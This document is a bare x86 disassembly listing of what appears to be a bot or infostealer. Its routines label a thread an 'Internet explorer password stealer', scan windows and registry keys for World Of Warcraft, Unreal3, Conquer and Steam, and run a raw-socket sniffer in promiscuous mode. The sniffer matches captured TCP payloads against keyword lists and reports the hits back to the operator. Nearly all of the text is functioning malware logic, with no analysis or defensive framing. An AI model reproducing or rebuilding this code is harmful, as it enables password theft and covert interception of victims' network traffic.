loc_415A35:				; CODE XREF: sub_414EF4+326j
		mov	byte ptr [ebp-4], 1
		cmp	dword ptr [ebp-0DF8h], 0
		jz	short loc_415A54
		mov	eax, [ebp-0DF8h]
		mov	ecx, [ebp-0DF8h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415A54:				; CODE XREF: sub_414EF4+B4Cj
		jmp	loc_4150CB
; ---------------------------------------------------------------------------


loc_415A59:				; CODE XREF: sub_414EF4+20Ej
					; sub_414EF4+220j
		mov	al, [ebp-0A14h]
		mov	[ebp-0A54h], al
		push	3E8h
		call	dword_41709C	; Sleep
		push	dword ptr [ebp-214h]
		mov	eax, [ebp-0BF0h]
		push	dword ptr [eax]
		push	offset unk_41D324
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		push	dword ptr [ebp-0BF0h]
		call	sub_409763
		pop	ecx
		and	dword ptr [ebp-0FD8h], 0
		and	byte ptr [ebp-4], 0
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_415ABB
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-10h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415ABB:				; CODE XREF: sub_414EF4+BB9j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_415ADA
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415ADA:				; CODE XREF: sub_414EF4+BD2j
		mov	eax, [ebp-0FD8h]


loc_415AE0:				; CODE XREF: sub_414EF4+B9j
					; sub_414EF4+19Cj
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		leave
		retn	4
sub_414EF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415AF0	proc near		; CODE XREF: sub_40A9CF+7Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_41DE50, 0
		jnz	short loc_415AFF
		jmp	short locret_415B3D
; ---------------------------------------------------------------------------


loc_415AFF:				; CODE XREF: sub_415AF0+Bj
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_415B15
		jmp	short locret_415B3D
; ---------------------------------------------------------------------------


loc_415B15:				; CODE XREF: sub_415AF0+21j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aInternetExplor ; "Internet explorer password stealer"
		push	0
		push	[ebp+var_4]
		push	offset sub_414EF4
		call	sub_4095A4
		add	esp, 10h

locret_415B3D:				; CODE XREF: sub_415AF0+Dj
					; sub_415AF0+23j
		leave
		retn
sub_415AF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B3F	proc near		; CODE XREF: .data:00416FB6p
					; .data:00416FBFp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jz	short locret_415B5E
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

locret_415B5E:				; CODE XREF: sub_415B3F+Dj
		leave
		retn
sub_415B3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B60	proc near		; DATA XREF: sub_415DFD+35o

var_5D8		= dword	ptr -5D8h
var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_5CC		= dword	ptr -5CCh
var_5C8		= dword	ptr -5C8h
var_5C4		= dword	ptr -5C4h
var_5C0		= dword	ptr -5C0h
var_5BC		= dword	ptr -5BCh
var_5B8		= dword	ptr -5B8h
var_5B4		= byte ptr -5B4h
var_41C		= byte ptr -41Ch
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D8h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5B8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		and	[ebp+var_5C4], 0
		and	[ebp+var_410], 0
		and	[ebp+var_40C], 0
		and	[ebp+var_408], 0
		and	[ebp+var_404], 0
		and	[ebp+var_5BC], 0
		jmp	short loc_415BC2
; ---------------------------------------------------------------------------


loc_415BB5:				; CODE XREF: sub_415B60:loc_415C50j
		mov	eax, [ebp+var_5BC]
		inc	eax
		mov	[ebp+var_5BC], eax


loc_415BC2:				; CODE XREF: sub_415B60+53j
		cmp	[ebp+var_5BC], 0FFFFh
		jnb	loc_415C55
		push	400h
		lea	eax, [ebp+var_400]
		push	eax
		push	[ebp+var_5BC]
		call	dword_4171E4	; GetWindowTextA
		push	7
		push	offset aUnreal3	; "Unreal3"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_415C0E
		mov	[ebp+var_410], 1


loc_415C0E:				; CODE XREF: sub_415B60+A2j
		push	offset aWorldOfWarcraf ; "World	Of Warcraft"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415C2F
		mov	[ebp+var_408], 1


loc_415C2F:				; CODE XREF: sub_415B60+C3j
		push	offset aConquer	; "[Conquer]"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415C50
		mov	[ebp+var_404], 1


loc_415C50:				; CODE XREF: sub_415B60+E4j
		jmp	loc_415BB5
; ---------------------------------------------------------------------------


loc_415C55:				; CODE XREF: sub_415B60+6Cj
		and	[ebp+var_5C0], 0
		lea	eax, [ebp+var_5C0]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"...
		push	80000002h
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_415C88
		mov	[ebp+var_5C4], 1


loc_415C88:				; CODE XREF: sub_415B60+11Cj
		push	[ebp+var_5C0]
		call	dword_417028	; RegCloseKey
		and	[ebp+var_5C0], 0
		lea	eax, [ebp+var_5C0]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareValveS ; "Software\\Valve\\Steam"
		push	80000001h
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_415CC7
		mov	[ebp+var_40C], 1


loc_415CC7:				; CODE XREF: sub_415B60+15Bj
		push	[ebp+var_5C0]
		call	dword_417028	; RegCloseKey
		movsx	eax, [ebp+var_41C]
		test	eax, eax
		jz	short loc_415D1E
		cmp	[ebp+var_410], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_5C4], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_40C], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_408], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_404], 0
		jnz	short loc_415D1E
		push	[ebp+var_5B8]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_415DF9
; ---------------------------------------------------------------------------


loc_415D1E:				; CODE XREF: sub_415B60+17Cj
					; sub_415B60+185j ...
		cmp	[ebp+var_404], 0
		jz	short loc_415D33
		mov	[ebp+var_5C8], offset aYes ; "Yes"
		jmp	short loc_415D3D
; ---------------------------------------------------------------------------


loc_415D33:				; CODE XREF: sub_415B60+1C5j
		mov	[ebp+var_5C8], offset aNo ; "No"


loc_415D3D:				; CODE XREF: sub_415B60+1D1j
		cmp	[ebp+var_408], 0
		jz	short loc_415D52
		mov	[ebp+var_5CC], offset aYes ; "Yes"
		jmp	short loc_415D5C
; ---------------------------------------------------------------------------


loc_415D52:				; CODE XREF: sub_415B60+1E4j
		mov	[ebp+var_5CC], offset aNo ; "No"


loc_415D5C:				; CODE XREF: sub_415B60+1F0j
		cmp	[ebp+var_40C], 0
		jz	short loc_415D71
		mov	[ebp+var_5D0], offset aYes ; "Yes"
		jmp	short loc_415D7B
; ---------------------------------------------------------------------------


loc_415D71:				; CODE XREF: sub_415B60+203j
		mov	[ebp+var_5D0], offset aNo ; "No"


loc_415D7B:				; CODE XREF: sub_415B60+20Fj
		cmp	[ebp+var_5C4], 0
		jz	short loc_415D90
		mov	[ebp+var_5D4], offset aYes ; "Yes"
		jmp	short loc_415D9A
; ---------------------------------------------------------------------------


loc_415D90:				; CODE XREF: sub_415B60+222j
		mov	[ebp+var_5D4], offset aNo ; "No"


loc_415D9A:				; CODE XREF: sub_415B60+22Ej
		cmp	[ebp+var_410], 0
		jz	short loc_415DAF
		mov	[ebp+var_5D8], offset aYes ; "Yes"
		jmp	short loc_415DB9
; ---------------------------------------------------------------------------


loc_415DAF:				; CODE XREF: sub_415B60+241j
		mov	[ebp+var_5D8], offset aNo ; "No"


loc_415DB9:				; CODE XREF: sub_415B60+24Dj
		push	[ebp+var_5C8]
		push	[ebp+var_5CC]
		push	[ebp+var_5D0]
		push	[ebp+var_5D4]
		push	[ebp+var_5D8]
		push	offset dword_41D5A4
		lea	eax, [ebp+var_5B4]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		push	[ebp+var_5B8]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_415DF9:				; CODE XREF: sub_415B60+1B9j
		leave
		retn	4
sub_415B60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DFD	proc near		; CODE XREF: sub_40A9CF+12FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_415E17
		jmp	short locret_415E3F
; ---------------------------------------------------------------------------


loc_415E17:				; CODE XREF: sub_415DFD+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aListingInteres ; "Listing interesting processes"
		push	0
		push	[ebp+var_4]
		push	offset sub_415B60
		call	sub_4095A4
		add	esp, 10h

locret_415E3F:				; CODE XREF: sub_415DFD+18j
		leave
		retn
sub_415DFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E41	proc near		; CODE XREF: sub_415EB7+37p
					; sub_415EB7+59p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_415E52
; ---------------------------------------------------------------------------


loc_415E4B:				; CODE XREF: sub_415E41+69j
					; sub_415E41:loc_415EB1j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_415E52:				; CODE XREF: sub_415E41+8j
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short loc_415EB3
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_407ACA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EB1
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+eax*4+4], 0
		jz	short loc_415EAC
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_407ACA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EAC
		jmp	short loc_415E4B
; ---------------------------------------------------------------------------


loc_415EAC:				; CODE XREF: sub_415E41+49j
					; sub_415E41+67j
		push	1
		pop	eax
		jmp	short locret_415EB5
; ---------------------------------------------------------------------------


loc_415EB1:				; CODE XREF: sub_415E41+3Aj
		jmp	short loc_415E4B
; ---------------------------------------------------------------------------


loc_415EB3:				; CODE XREF: sub_415E41+1Dj
		xor	eax, eax

locret_415EB5:				; CODE XREF: sub_415E41+6Ej
		leave
		retn
sub_415E41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415EB7	proc near		; CODE XREF: sub_415F69+420p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		jz	short loc_415EDD
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_407ACA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EDD
		push	1
		pop	eax
		jmp	loc_415F67
; ---------------------------------------------------------------------------


loc_415EDD:				; CODE XREF: sub_415EB7+7j
					; sub_415EB7+1Cj
		cmp	[ebp+arg_8], 1
		jb	short loc_415EFF
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D6D4
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EFF
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415EFF:				; CODE XREF: sub_415EB7+2Aj
					; sub_415EB7+41j
		cmp	[ebp+arg_8], 2
		jb	short loc_415F21
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D730
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F21
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415F21:				; CODE XREF: sub_415EB7+4Cj
					; sub_415EB7+63j
		cmp	[ebp+arg_8], 3
		jb	short loc_415F43
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D7A4
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F43
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415F43:				; CODE XREF: sub_415EB7+6Ej
					; sub_415EB7+85j
		cmp	[ebp+arg_8], 4
		jb	short loc_415F65
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D7E8
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F65
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415F65:				; CODE XREF: sub_415EB7+90j
					; sub_415EB7+A7j
		xor	eax, eax


loc_415F67:				; CODE XREF: sub_415EB7+21j
					; sub_415EB7+46j ...
		pop	ebp
		retn
sub_415EB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F69	proc near		; DATA XREF: sub_41665C+A6o

var_19B8	= dword	ptr -19B8h
var_19B4	= byte ptr -19B4h
var_18B4	= dword	ptr -18B4h
var_18B0	= byte ptr -18B0h
var_17B0	= dword	ptr -17B0h
var_17AC	= dword	ptr -17ACh
var_17A8	= byte ptr -17A8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= byte ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= dword	ptr -1614h
var_1610	= dword	ptr -1610h
var_160C	= byte ptr -160Ch
var_140C	= byte ptr -140Ch
var_127E	= byte ptr -127Eh
var_1278	= byte ptr -1278h
var_1274	= byte ptr -1274h
var_1268	= word ptr -1268h
var_1264	= byte ptr -1264h
var_1263	= byte ptr -1263h
var_125C	= dword	ptr -125Ch
var_1258	= word ptr -1258h
var_1254	= byte ptr -1254h
var_1154	= dword	ptr -1154h
var_1150	= dword	ptr -1150h
var_114C	= byte ptr -114Ch
var_114B	= byte ptr -114Bh
var_104C	= dword	ptr -104Ch
var_1048	= word ptr -1048h
var_1044	= dword	ptr -1044h
var_1038	= byte ptr -1038h
var_1037	= byte ptr -1037h
var_1030	= byte ptr -1030h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 19B8h
		call	sub_416BC0
		push	edi
		push	3ABh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1614]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		movsx	eax, [ebp+var_160C]
		neg	eax
		sbb	eax, eax
		lea	ecx, [ebp+var_160C]
		and	eax, ecx
		mov	[ebp+var_1624],	eax
		push	0
		push	3
		push	2
		call	dword_417218	; socket
		mov	[ebp+var_104C],	eax
		cmp	[ebp+var_104C],	0FFFFFFFFh
		jnz	short loc_415FDE
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_415FDE:				; CODE XREF: sub_415F69+60j
		push	0FFh
		lea	eax, [ebp+var_1254]
		push	eax
		call	dword_417260	; gethostname
		lea	eax, [ebp+var_1254]
		push	eax
		call	dword_41723C	; gethostbyname
		mov	[ebp+var_1154],	eax
		cmp	[ebp+var_1154],	0
		jnz	short loc_41602B
		push	[ebp+var_104C]
		call	dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_41602B:				; CODE XREF: sub_415F69+A1j
		push	10h
		push	0
		lea	eax, [ebp+var_1048]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_1048],	2
		mov	eax, [ebp+var_1154]
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_1044],	eax
		push	10h
		lea	eax, [ebp+var_1048]
		push	eax
		push	[ebp+var_104C]
		call	dword_417208	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416093
		push	[ebp+var_104C]
		call	dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_416093:				; CODE XREF: sub_415F69+109j
		mov	[ebp+var_1150],	1
		push	0
		push	0
		lea	eax, [ebp+var_1620]
		push	eax
		push	0
		push	0
		push	4
		lea	eax, [ebp+var_1150]
		push	eax
		push	98000001h
		push	[ebp+var_104C]
		call	dword_41725C	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4160EA
		push	[ebp+var_104C]
		call	dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_4160EA:				; CODE XREF: sub_415F69+160j
		lea	eax, [ebp+var_1030]
		mov	[ebp+var_161C],	eax
		and	[ebp+var_1628],	0
		and	[ebp+var_4], 0
		push	[ebp+var_1610]
		mov	eax, [ebp+var_1614]
		push	dword ptr [eax]
		push	offset unk_41D9B4
		lea	eax, [ebp+var_140C]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		and	[ebp+var_1274],	0
		and	[ebp+var_114C],	0
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_114B]
		rep stosd
		stosw
		stosb
		and	[ebp+var_1264],	0
		xor	eax, eax
		lea	edi, [ebp+var_1263]
		stosd
		stosb
		lea	eax, [ebp+var_114C]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4044F7
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1264]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4045B2
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_114C]
		push	eax
		call	dword_417244	; inet_addr
		mov	[ebp+var_1618],	eax
		lea	eax, [ebp+var_1264]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1268],	ax
		and	[ebp+var_1038],	0
		xor	eax, eax
		lea	edi, [ebp+var_1037]
		stosd
		stosb
		lea	eax, [ebp+var_1038]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_404552
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_1044]
		mov	[ebp+var_125C],	eax
		lea	eax, [ebp+var_1038]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1258],	ax


loc_4161E6:				; CODE XREF: sub_415F69+305j
					; sub_415F69+33Aj ...
		push	0
		push	1028h
		lea	eax, [ebp+var_1030]
		push	eax
		push	[ebp+var_104C]
		call	dword_417248	; recv
		mov	[ebp+var_17AC],	eax
		mov	eax, [ebp+var_1614]
		cmp	dword ptr [eax+4], 0
		jz	short loc_416217
		jmp	loc_416637
; ---------------------------------------------------------------------------


loc_416217:				; CODE XREF: sub_415F69+2A7j
		cmp	[ebp+var_17AC],	0FFFFFFFFh
		jz	short loc_416229
		cmp	[ebp+var_17AC],	0
		jnz	short loc_41622E


loc_416229:				; CODE XREF: sub_415F69+2B5j
		jmp	loc_416637
; ---------------------------------------------------------------------------


loc_41622E:				; CODE XREF: sub_415F69+2BEj
		mov	eax, [ebp+var_17AC]
		and	[ebp+eax+var_1030], 0
		mov	eax, [ebp+var_161C]
		mov	al, [eax]
		and	al, 0Fh
		movzx	eax, al
		mov	ecx, [ebp+var_161C]
		lea	eax, [ecx+eax*4]
		mov	[ebp+var_1628],	eax
		mov	eax, [ebp+var_1628]
		lea	ecx, [ebp+var_1030]
		sub	eax, ecx
		cmp	eax, [ebp+var_17AC]
		jb	short loc_416273
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416273:				; CODE XREF: sub_415F69+303j
		mov	eax, [ebp+var_1628]
		mov	al, [eax+0Ch]
		shr	al, 4
		and	al, 0Fh
		movzx	eax, al
		mov	ecx, [ebp+var_1628]
		lea	eax, [ecx+eax*4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_1030]
		sub	eax, ecx
		cmp	eax, [ebp+var_17AC]
		jb	short loc_4162A8
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_4162A8:				; CODE XREF: sub_415F69+338j
		push	[ebp+var_4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_17AC],	eax
		mov	eax, [ebp+var_161C]
		movzx	eax, byte ptr [eax+9]
		cmp	eax, 6
		jnz	loc_416632
		movsx	eax, [ebp+var_127E]
		test	eax, eax
		jz	short loc_4162EB
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+10h]
		cmp	eax, [ebp+var_125C]
		jz	short loc_4162EB
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_4162EB:				; CODE XREF: sub_415F69+36Aj
					; sub_415F69+37Bj
		movsx	eax, [ebp+var_1278]
		test	eax, eax
		jz	short loc_41630C
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+var_125C]
		jz	short loc_41630C
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_41630C:				; CODE XREF: sub_415F69+38Bj
					; sub_415F69+39Cj
		mov	eax, [ebp+var_1628]
		mov	ax, [eax]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		movzx	ecx, [ebp+var_1258]
		cmp	eax, ecx
		jnz	short loc_416340
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+var_125C]
		jnz	short loc_416340
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416340:				; CODE XREF: sub_415F69+3BFj
					; sub_415F69+3D0j
		mov	eax, [ebp+var_1628]
		mov	ax, [eax]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		movzx	ecx, [ebp+var_1268]
		cmp	eax, ecx
		jnz	short loc_416374
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+var_1618]
		jnz	short loc_416374
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416374:				; CODE XREF: sub_415F69+3F3j
					; sub_415F69+404j
		push	[ebp+var_1624]
		push	[ebp+var_1610]
		push	[ebp+var_17AC]
		push	[ebp+var_4]
		call	sub_415EB7
		add	esp, 10h
		test	eax, eax
		jz	loc_416632
		and	[ebp+var_19B8],	0
		jmp	short loc_4163AF
; ---------------------------------------------------------------------------


loc_4163A2:				; CODE XREF: sub_415F69:loc_416413j
		mov	eax, [ebp+var_19B8]
		inc	eax
		mov	[ebp+var_19B8],	eax


loc_4163AF:				; CODE XREF: sub_415F69+437j
		mov	eax, [ebp+var_19B8]
		cmp	eax, [ebp+var_17AC]
		jnb	short loc_416415
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jnz	short loc_4163DA
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		mov	byte ptr [eax],	2Dh


loc_4163DA:				; CODE XREF: sub_415F69+463j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jnz	short loc_4163F7
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		mov	byte ptr [eax],	3Eh


loc_4163F7:				; CODE XREF: sub_415F69+480j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_416413
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		mov	byte ptr [eax],	2Eh


loc_416413:				; CODE XREF: sub_415F69+49Cj
		jmp	short loc_4163A2
; ---------------------------------------------------------------------------


loc_416415:				; CODE XREF: sub_415F69+452j
		and	[ebp+var_19B8],	0
		mov	eax, [ebp+var_19B8]
		mov	[ebp+var_17AC],	eax
		jmp	short loc_416437
; ---------------------------------------------------------------------------


loc_41642A:				; CODE XREF: sub_415F69+507j
					; sub_415F69+51Aj ...
		mov	eax, [ebp+var_19B8]
		inc	eax
		mov	[ebp+var_19B8],	eax


loc_416437:				; CODE XREF: sub_415F69+4BFj
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_41645F
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_17AC]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_19B8]
		mov	cl, [ecx]
		mov	[eax], cl
		jmp	short loc_4164AA
; ---------------------------------------------------------------------------


loc_41645F:				; CODE XREF: sub_415F69+4DCj
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jl	short loc_416472
		jmp	short loc_41642A
; ---------------------------------------------------------------------------


loc_416472:				; CODE XREF: sub_415F69+505j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1Fh
		jg	short loc_416485
		jmp	short loc_41642A
; ---------------------------------------------------------------------------


loc_416485:				; CODE XREF: sub_415F69+518j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_17AC]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_19B8]
		mov	cl, [ecx]
		mov	[eax], cl
		mov	eax, [ebp+var_17AC]
		inc	eax
		mov	[ebp+var_17AC],	eax
		jmp	short loc_41642A
; ---------------------------------------------------------------------------


loc_4164AA:				; CODE XREF: sub_415F69+4F4j
		cmp	[ebp+var_17AC],	0
		jnz	short loc_4164B8
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_4164B8:				; CODE XREF: sub_415F69+548j
		push	100h
		mov	eax, [ebp+var_161C]
		push	dword ptr [eax+0Ch]
		call	dword_41721C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_19B4]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	100h
		mov	eax, [ebp+var_161C]
		push	dword ptr [eax+10h]
		call	dword_41721C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_18B0]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_1628]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		lea	eax, [ebp+var_18B0]
		push	eax
		mov	eax, [ebp+var_1628]
		mov	ax, [eax]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		lea	eax, [ebp+var_19B4]
		push	eax
		push	offset dword_41D980
		lea	eax, [ebp+var_17A8]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 18h
		mov	[ebp+var_18B4],	eax
		mov	eax, 180h
		sub	eax, [ebp+var_18B4]
		push	eax
		push	[ebp+var_4]
		mov	eax, [ebp+var_18B4]
		lea	eax, [ebp+eax+var_17A8]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_17A8]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_140C]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	3E8h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+var_1614]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4165AD
		jmp	loc_416655
; ---------------------------------------------------------------------------


loc_4165AD:				; CODE XREF: sub_415F69+63Dj
		mov	eax, 180h
